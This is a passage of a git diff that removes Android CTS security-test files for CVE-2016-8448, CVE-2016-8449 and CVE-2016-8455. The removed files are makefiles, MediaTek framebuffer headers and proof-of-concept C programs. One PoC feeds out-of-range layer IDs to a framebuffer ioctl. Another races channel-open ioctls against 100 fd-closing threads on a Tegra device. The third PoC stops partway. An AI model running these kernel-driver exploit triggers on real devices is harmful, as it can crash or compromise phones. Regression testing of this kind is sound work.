-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
deleted file mode 100644
index b33073c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
+++ /dev/null
@@ -1,397 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_H
-#define __MTKFB_H
-
-#include <linux/types.h>
-#include "mtkfb_info.h"
-
-
-/**NOTICE:
- * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
- */
-#define MTK_FB_NO_ION_FD ((int)(~0U>>1))
-#define MTK_FB_NO_USE_LAEYR_ID ((int)(~0U>>1))
-#define FBCAPS_GENERIC_MASK (0x00000fff)
-#define FBCAPS_LCDC_MASK (0x00fff000)
-#define FBCAPS_PANEL_MASK (0xff000000)
-#define FBCAPS_MANUAL_UPDATE (0x00001000)
-#define FBCAPS_SET_BACKLIGHT (0x01000000)
-#define MTKFB_ERROR_IS_EARLY_SUSPEND (0x12000000)
-/* --------------------------------------------------------------------------- */
-/* IOCTL commands. */
-#define MTK_IOW(num, dtype) _IOW('O', num, dtype)
-#define MTK_IOR(num, dtype) _IOR('O', num, dtype)
-#define MTK_IOWR(num, dtype) _IOWR('O', num, dtype)
-#define MTK_IO(num) _IO('O', num)
-#define MTKFB_QUEUE_OVERLAY_CONFIG MTK_IOW(137, struct fb_overlay_config)
-/* -------------------------------------------------------------------------- */
-#define MTKFB_SET_OVERLAY_LAYER MTK_IOW(0, struct fb_overlay_layer)
-#define MTKFB_TRIG_OVERLAY_OUT MTK_IO(1)
-#define MTKFB_SET_VIDEO_LAYERS MTK_IOW(2, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_FRAMEBUFFER MTK_IOW(3, unsigned long)
-#define MTKFB_CONFIG_IMMEDIATE_UPDATE MTK_IOW(4, unsigned long)
-#define MTKFB_SET_MULTIPLE_LAYERS MTK_IOW(5, struct fb_overlay_layer)
-#define MTKFB_REGISTER_OVERLAYBUFFER MTK_IOW(6, struct fb_overlay_buffer_info)
-#define MTKFB_UNREGISTER_OVERLAYBUFFER MTK_IOW(7, unsigned int)
-#define MTKFB_SET_ORIENTATION MTK_IOW(8, unsigned long)
-#define MTKFB_FBLAYER_ENABLE MTK_IOW(9, unsigned int)
-#define MTKFB_LOCK_FRONT_BUFFER MTK_IO(10)
-#define MTKFB_UNLOCK_FRONT_BUFFER MTK_IO(11)
-#define MTKFB_POWERON MTK_IO(12)
-#define MTKFB_POWEROFF MTK_IO(13)
-
-/* Fence/Ion, OVL decoupling */
-#define MTKFB_PREPARE_OVERLAY_BUFFER MTK_IOW(14, struct fb_overlay_buffer)
-
-/* S3D control */
-#define MTKFB_SET_COMPOSING3D MTK_IOW(15, unsigned long)
-#define MTKFB_SET_S3D_FTM MTK_IOW(16, unsigned long)
-
-/* FM De-sense for EM and Normal mode */
-#define MTKFB_GET_DEFAULT_UPDATESPEED MTK_IOR(17, unsigned long)
-#define MTKFB_GET_CURR_UPDATESPEED MTK_IOR(18, unsigned long)
-/* for EM, not called change writecycle because DPI change pll ckl */
-#define MTKFB_CHANGE_UPDATESPEED MTK_IOW(19, unsigned long)
-#define MTKFB_GET_INTERFACE_TYPE MTK_IOR(20, unsigned long) /* /0 DBI, 1 DPI, 2 MIPI */
-#define MTKFB_GET_POWERSTATE MTK_IOR(21, unsigned long) /* /0: power off 1: power on */
-#define MTKFB_GET_DISPLAY_IF_INFORMATION MTK_IOR(22, mtk_dispif_info_t)
-/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
-#define MTKFB_AEE_LAYER_EXIST MTK_IOR(23, unsigned long)
-#define MTKFB_GET_OVERLAY_LAYER_INFO MTK_IOR(24, struct fb_overlay_layer_info)
-#define MTKFB_FACTORY_AUTO_TEST MTK_IOR(25, unsigned long)
-#define MTKFB_GET_FRAMEBUFFER_MVA MTK_IOR(26, unsigned int)
-#define MTKFB_SLT_AUTO_CAPTURE MTK_IOWR(27, struct fb_slt_catpure)
-
-/*error handling*/
-#define MTKFB_META_RESTORE_SCREEN MTK_IOW(101, unsigned long)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT MTK_IO(103)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE MTK_IO(104)
-
-/*restore bootlogo and character in meta mode*/
-#define MTKFB_META_SHOW_BOOTLOGO MTK_IO(105)
-
-/*Extension FB active option*/
-#define FB_ACTIVATE_NO_UPDATE 512 /* Skip frame update */
-/**
- * Just for mt6589 Platform
- * @{
- */
-#define MTKFB_GETVFRAMEPHYSICAL MTK_IOW(41, unsigned long)
-#define MTKFB_WAIT_OVERLAY_READY MTK_IO(42)
-#define MTKFB_GET_OVERLAY_LAYER_COUNT MTK_IOR(43, unsigned long)
-#define MTKFB_GET_VIDEOLAYER_SIZE MTK_IOR(44, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_VIDEOBUFFER MTK_IOW(45, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-/* Video Playback Mode */
-#define MTKFB_TV_POST_VIDEO_BUFFER MTK_IOW(46, unsigned long)
-#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE MTK_IOW(47, unsigned long)
-/* For Factory Mode */
-#define MTKFB_IS_TV_CABLE_PLUG_IN MTK_IOW(48, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-#define MTKFB_BOOTANIMATION MTK_IO(49)
-#define MTKFB_GETFPS MTK_IOW(50, unsigned long)
-#define MTKFB_VSYNC MTK_IO(51)
-
-/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
-#define MTKFB_FM_NOTIFY_FREQ MTK_IOW(52, unsigned long) /* for Normal mode */
-#define MTKFB_RESET_UPDATESPEED MTK_IO(53)
-#define MTKFB_SET_UI_LAYER_ALPHA MTK_IOW(54, unsigned long)
-#define MTKFB_SET_UI_LAYER_SRCKEY MTK_IOW(55, unsigned long)
-
-#define MTKFB_GET_MAX_DISPLAY_COUNT MTK_IOR(56, unsigned int)
-#define MTKFB_SET_FB_LAYER_SECURE MTK_IOW(57, int)
-/**
- * @}
- */
-/* ---------------------------------------------------------------------- */
-
-/* -------------------------------------------------------------------------- */
-
-typedef enum {
- MTK_FB_ORIENTATION_0 = 0,
- MTK_FB_ORIENTATION_90 = 1,
- MTK_FB_ORIENTATION_180 = 2,
- MTK_FB_ORIENTATION_270 = 3,
-} MTK_FB_ORIENTATION;
-
-
-typedef enum {
- MTK_FB_TV_SYSTEM_NTSC = 0,
- MTK_FB_TV_SYSTEM_PAL = 1,
-} MTK_FB_TV_SYSTEM;
-
-
-typedef enum {
- MTK_FB_TV_FMT_RGB565 = 0,
- MTK_FB_TV_FMT_YUV420_SEQ = 1,
- MTK_FB_TV_FMT_UYUV422 = 2,
- MTK_FB_TV_FMT_YUV420_BLK = 3,
-} MTK_FB_TV_SRC_FORMAT;
-
-typedef enum {
- LAYER_NORMAL_BUFFER = 0,
- LAYER_SECURE_BUFFER = 1,
- LAYER_PROTECTED_BUFFER = 2,
- LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001, /* the higher 16 bits =1 for adding 64 bytes alignment */
-} MTK_FB_OVL_LAYER_SECURE_MODE;
-
-typedef struct _disp_dfo_item {
- char name[32];
- int value;
-} disp_dfo_item_t;
-
-/* -------------------------------------------------------------------------- */
-struct fb_slt_catpure {
- MTK_FB_FORMAT format;
-
- volatile char *outputBuffer;
- unsigned int wdma_width;
- unsigned int wdma_height;
-};
-
-struct fb_scale {
- unsigned int xscale, yscale;
-};
-
-struct fb_frame_offset {
- unsigned int idx;
- unsigned long offset;
-};
-
-struct fb_update_window {
- unsigned int x, y;
- unsigned int width, height;
-};
-
-typedef enum {
- LAYER_2D = 0,
- LAYER_3D_SBS_0 = 0x1,
- LAYER_3D_SBS_90 = 0x2,
- LAYER_3D_SBS_180 = 0x3,
- LAYER_3D_SBS_270 = 0x4,
- LAYER_3D_TAB_0 = 0x10,
- LAYER_3D_TAB_90 = 0x20,
- LAYER_3D_TAB_180 = 0x30,
- LAYER_3D_TAB_270 = 0x40,
-} MTK_FB_LAYER_TYPE;
-
-typedef enum {
- DISP_DIRECT_LINK_MODE,
- DISP_DECOUPLE_MODE
-} MTK_DISP_MODE;
-struct fb_overlay_mode {
- MTK_DISP_MODE mode;
-};
-
-typedef enum { /* map sessions to scenairos in kernel driver */
- DISP_SESSION_LCM = 1 << 0, /* DSI0 */
- DISP_SESSION_MEM = 1 << 1, /* OVL0->WDMA0 */
-/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
- DISP_SESSION_WFD = 1 << 2,
- DISP_SESSION_MHL = 1 << 3, /* DPI */
- DISP_SESSION_LCM1 = 1 << 4, /* DSI1 */
- DISP_SESSION_MEM1 = 1 << 5, /* OVL1->WDMA1 */
- /* TODO:can be extended with other Session Id */
- SESSION_MASK = 0xff & ~(1 << 6)
-} MTK_DISP_SESSION;
-
-struct fb_overlay_session {
- unsigned int session; /* one or more @MTK_DISP_SESSION combined */
-};
-
-struct fb_overlay_decouple {
- MTK_DISP_MODE mode;
- unsigned int session;
-};
-struct fb_overlay_buffer {
- /* Input */
- int layer_id;
- unsigned int layer_en;
- int ion_fd;
- unsigned int cache_sync;
- /* Output */
- unsigned int index;
- int fence_fd;
-};
-
-struct fb_overlay_layer {
- unsigned int layer_id;
- unsigned int layer_enable;
-
- void *src_base_addr;
- void *src_phy_addr;
- unsigned int src_direct_link;
- MTK_FB_FORMAT src_fmt;
- unsigned int src_use_color_key;
- unsigned int src_color_key;
- unsigned int src_pitch;
- unsigned int src_offset_x, src_offset_y;
- unsigned int src_width, src_height;
-
- unsigned int tgt_offset_x, tgt_offset_y;
- unsigned int tgt_width, tgt_height;
- MTK_FB_ORIENTATION layer_rotation;
- MTK_FB_LAYER_TYPE layer_type;
- MTK_FB_ORIENTATION video_rotation;
-
- unsigned int isTdshp; /* set to 1, will go through tdshp first, then layer blending, then to color */
-
- int next_buff_idx;
- int identity;
- int connected_type;
- unsigned int security;
- unsigned int alpha_enable;
- unsigned int alpha;
- int fence_fd; /* 8135 */
- int ion_fd; /* 8135 CL 2340210 */
-};
-
-struct fb_overlay_config {
- int fence;
- int time;
- struct fb_overlay_layer layers[4];
-};
-
-struct fb_overlay_buffer_info {
- unsigned int src_vir_addr;
- unsigned int size;
-};
-
-struct fb_overlay_layer_info {
- unsigned int layer_id;
- unsigned int layer_enabled; /* TO BE DEL */
- unsigned int curr_en;
- unsigned int next_en;
- unsigned int hw_en;
- int curr_idx;
- int next_idx;
- int hw_idx;
- int curr_identity;
- int next_identity;
- int hw_identity;
- int curr_conn_type;
- int next_conn_type;
- int hw_conn_type;
- MTK_FB_ORIENTATION layer_rotation;
-};
-/* -------------------------------------------------------------------------- */
-
-struct fb_post_video_buffer {
- void *phy_addr;
- void *vir_addr;
- MTK_FB_TV_SRC_FORMAT format;
- unsigned int width, height;
-};
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern unsigned int EnableVSyncLog;
-
-void mtkfb_log_enable(int enable);
-int mtkfb_set_backlight_mode(unsigned int mode);
-int mtkfb_set_backlight_level(unsigned int level);
-int mtkfb_get_debug_state(char *stringbuf, int buf_len);
-unsigned int mtkfb_fm_auto_test(void);
-void mtkfb_clear_lcm(void);
-#endif /* CONFIG_ARCH_MT6735 */
-
-#ifdef __KERNEL__
-
-#include <linux/completion.h>
-#include <linux/interrupt.h>
-#include <linux/workqueue.h>
-#include <linux/version.h>
-#include <../drivers/staging/android/sw_sync.h>
-
-
-#define MTKFB_DRIVER "mtkfb"
-
-enum mtkfb_state {
- MTKFB_DISABLED = 0,
- MTKFB_SUSPENDED = 99,
- MTKFB_ACTIVE = 100
-};
-
-typedef enum {
- MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
- MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
- MTKFB_LAYER_SET_DIRTY = (1 << 2),
-} MTKFB_LAYER_CONFIG_DIRTY;
-
-typedef struct {
- struct work_struct work;
- struct list_head list;
- struct fb_overlay_config config;
- struct sync_fence *fences[4];
- struct ion_handle *ion_handles[4];
- void *dev;
-} update_ovls_work_t;
-
-struct mtkfb_device {
- int state;
- void *fb_va_base; /* MPU virtual address */
- dma_addr_t fb_pa_base; /* Bus physical address */
- unsigned long fb_size_in_byte;
- void *ovl_va_base; /* MPU virtual address */
- dma_addr_t ovl_pa_base; /* Bus physical address */
- unsigned long ovl_size_in_byte;
-
- unsigned long layer_enable;
- MTK_FB_FORMAT *layer_format;
- unsigned int layer_config_dirty;
-
- int xscale, yscale, mirror; /* transformations.
- rotate is stored in fb_info->var */
- u32 pseudo_palette[17];
-
- struct fb_info *fb_info; /* Linux fbdev framework data */
- struct device *dev;
-
- /* Android native fence support */
- struct workqueue_struct *update_ovls_wq;
- struct mutex timeline_lock;
- struct sw_sync_timeline *timeline;
- int timeline_max;
- struct list_head pending_configs; /* CL2340210 */
- struct ion_client *ion_client;
-};
-
-#endif /* __KERNEL__ */
-
-extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
-
-#if defined(CONFIG_ARCH_MT6797)
-extern unsigned int vramsize;
-#endif
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern bool is_early_suspended;
-extern void mtkfb_waitVsync(void);
-extern bool is_ipoh_bootup;
-
-#ifdef CONFIG_OF
-int _parse_tag_videolfb(void);
-extern unsigned int islcmconnected;
-extern unsigned int vramsize;
-#else
-extern char *saved_command_line;
-#endif
-#endif /* CONFIG_ARCH_MT6735 */
-
-
-#endif /* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
deleted file mode 100644
index 61e7cfd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_INFO_H__
-#define __MTKFB_INFO_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-
- typedef enum {
- DISPIF_TYPE_DBI = 0,
- DISPIF_TYPE_DPI,
- DISPIF_TYPE_DSI,
- DISPIF_TYPE_DPI0,
- DISPIF_TYPE_DPI1,
- DISPIF_TYPE_DSI0,
- DISPIF_TYPE_DSI1,
- HDMI = 7,
- HDMI_SMARTBOOK,
- MHL,
- DISPIF_TYPE_EPD,
- SLIMPORT
- } MTKFB_DISPIF_TYPE;
-
- typedef enum {
- MTKFB_DISPIF_PRIMARY_LCD = 0,
- MTKFB_DISPIF_HDMI,
- MTKFB_DISPIF_EPD,
- MTKFB_MAX_DISPLAY_COUNT
- } MTKFB_DISPIF_DEVICE_TYPE;
-
- typedef enum {
- DISPIF_FORMAT_RGB565 = 0,
- DISPIF_FORMAT_RGB666,
- DISPIF_FORMAT_RGB888
- } MTKFB_DISPIF_FORMAT;
-
-
- typedef enum {
- DISPIF_MODE_VIDEO = 0,
- DISPIF_MODE_COMMAND
- } MTKFB_DISPIF_MODE;
-
- typedef struct mtk_dispif_info {
- unsigned int display_id;
- unsigned int isHwVsyncAvailable;
- MTKFB_DISPIF_TYPE displayType;
- unsigned int displayWidth;
- unsigned int displayHeight;
- unsigned int displayFormat;
- MTKFB_DISPIF_MODE displayMode;
- unsigned int vsyncFPS;
- unsigned int physicalWidth;
- unsigned int physicalHeight;
- unsigned int isConnected;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
- unsigned int lcmOriginalWidth;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
- unsigned int lcmOriginalHeight;
- } mtk_dispif_info_t;
-
-#define MAKE_MTK_FB_FORMAT_ID(id, bpp) (((id) << 8) | (bpp))
-
- typedef enum {
- MTK_FB_FORMAT_UNKNOWN = 0,
-
- MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
- MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
- MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
- MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
- MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
- MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
- MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
- MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
- MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
- MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
- MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
- MTK_FB_FORMAT_BPP_MASK = 0xFF,
- } MTK_FB_FORMAT;
-
-#define GET_MTK_FB_FORMAT_BPP(f) ((f) & MTK_FB_FORMAT_BPP_MASK)
-
-
-#ifdef __cplusplus
-}
-#endif
-#endif /* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
deleted file mode 100644
index e5f675b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/mman.h>
-#include <fcntl.h>
-//#include <pthread.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <asm-generic/ioctl.h>
-#include "mtkfb.h"
-int main(int argc, char **argv) {
- int fd = 0;
- struct fb_overlay_layer layerInfo;
- memset(&layerInfo, 0, sizeof(layerInfo));
- fd = open("/dev/graphics/fb0", O_RDWR);
- if (fd < 0) {
- perror("open /dev/graphics/fb0");
- exit(-1);
- }
- printf("Device file opened successfully\n");
- printf("Trying to get layer info\n");
- if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
- perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
- exit(-2);
- }
- printf("Got layer info\n");
- printf("Trying to set layer info\n");
- // set any huge value here
- int curr_val = 0xf1111111;
- while(1) {
- layerInfo.layer_id = curr_val;
- if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
- perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
- //exit(-2);
- }
- curr_val--;
- if(curr_val == -1) {
- break;
- }
- }
- printf("Set layer info\n");
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
deleted file mode 100644
index 72129c2..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8449
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
deleted file mode 100755
index 1e76b55..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-#define CLOSE_THREAD_NUM 100
-#define TRY_TIMES 900
-
-#define DEV "/dev/tegra_avpchannel"
-
-#define NVAVP_IOCTL_MAGIC 'n'
-
-struct nvavp_channel_open_args {
- __u32 channel_fd;
-};
-
-#define NVAVP_IOCTL_CHANNEL_OPEN _IOR(NVAVP_IOCTL_MAGIC, 0x73, \
- struct nvavp_channel_open_args)
-
-int fd;
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- if(ret == -1){
- ERR("[-] set affinity failed");
- }
- return ret;
-}
-
-volatile int target_fd;
-volatile int attack;
-void* close_thread(void* no_use)
-{
- set_affinity(1);
-
- while(attack){
- close(target_fd);
- }
-
- return NULL;
-}
-
-int main()
-{
- int i, try_time = TRY_TIMES, ret;
- struct nvavp_channel_open_args o_args = { 0 };
-
- /* bind_cpu */
- set_affinity(0);
-
- /* open dev */
- fd = open(DEV, O_RDONLY);
- if(fd == -1){
- ERR("[-] open failed");
- return 0;
- } else {
- LOG("[+] open OK");
- }
-
- #if 1
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- goto out_dev;
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
-
- target_fd = o_args.channel_fd;
- #endif
-
- /* create close thread */
- #if 1
- attack = 1;
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
- if(ret){
- ERR("[-] create close thread %d failed", i);
- goto out_close_thread;
- }
- }
- #endif
-
- #if 1
- for(i = 0; i < TRY_TIMES; i++){
- LOG("[+] %03d times", i);
- /* open */
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
- //usleep(200);
- }
- #endif
-
-out_close_thread:
- attack = 0;
- /* kill close thread */
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- if(close_thread_id[i])
- pthread_join(close_thread_id[i], NULL);
- }
-out_dev:
- close(fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
deleted file mode 100644
index 5ec4302..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8455
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := external/libnl/include
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
deleted file mode 100644
index 1f58e23..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
+++ /dev/null
@@ -1,318 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
